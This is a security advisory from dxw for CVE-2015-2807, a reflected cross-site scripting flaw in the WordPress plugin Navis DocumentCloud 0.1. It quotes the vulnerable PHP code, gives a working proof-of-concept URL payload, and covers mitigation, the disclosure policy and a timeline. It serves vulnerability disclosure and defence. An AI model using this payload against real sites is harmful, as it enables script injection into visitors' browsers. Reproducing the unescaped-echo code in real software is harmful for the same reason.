Details
================
Software: Navis DocumentCloud
Version: 0.1
Homepage: https://wordpress.org/plugins/navis-documentcloud/
Advisory report: https://security.dxw.com/advisories/publicly-exploitable-xss-in-wordpress-plugin-navis-documentcloud/
CVE: CVE-2015-2807
CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:P/A:N)
Description
================
Publicly exploitable XSS in WordPress plugin Navis Documentcloud
Vulnerability
================
This plugin contains the following code in js/window.php:
$SITEURL .= $_GET[ ?wpbase? ];
// snip
<script src=?https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js?></script>
<script src=?<?php echo $SITEURL; ?>wp-includes/js/tinymce/tiny_mce_popup.js?></script>
Which is a trivially exploitable XSS.
Proof of concept
================
Visit the following page on a site with this plugin installed. Note that the plugin need not be active:
http://yourwordpresssite/wp-content/plugins/navis-documentcloud/js/window.php?wpbase=%22%3Ealert(%27xss%27)%3C/script%3E%3Cscript%20src=%22
NB: this proof of conceptmaynot work in browsers with XSS protection features.
Mitigations
================
This plugin is no longer maintained, so if at all possible, switch to using the DocumentCloud pluginhttps://wordpress.org/plugins/documentcloud/.
If this is not possible, upgrade to version 0.1.1 or later.
Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/
Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.
This vulnerability will be published if we do not receive a response to this report with 14 days.
Timeline
================
2015-03-31 ? Discovered
2015-03-31 ?Requested CVE
2015-07-14 ? Reported tosupport@documentcloud.org
2015-07-14 ? Vendor responded saying they?ll get in touch with the developer
2015-08-24 ? Vendor reported the issue fixed in version 0.1.1
Discovered by dxw:
================
Harry Metcalfe
Please visit security.dxw.com for more information.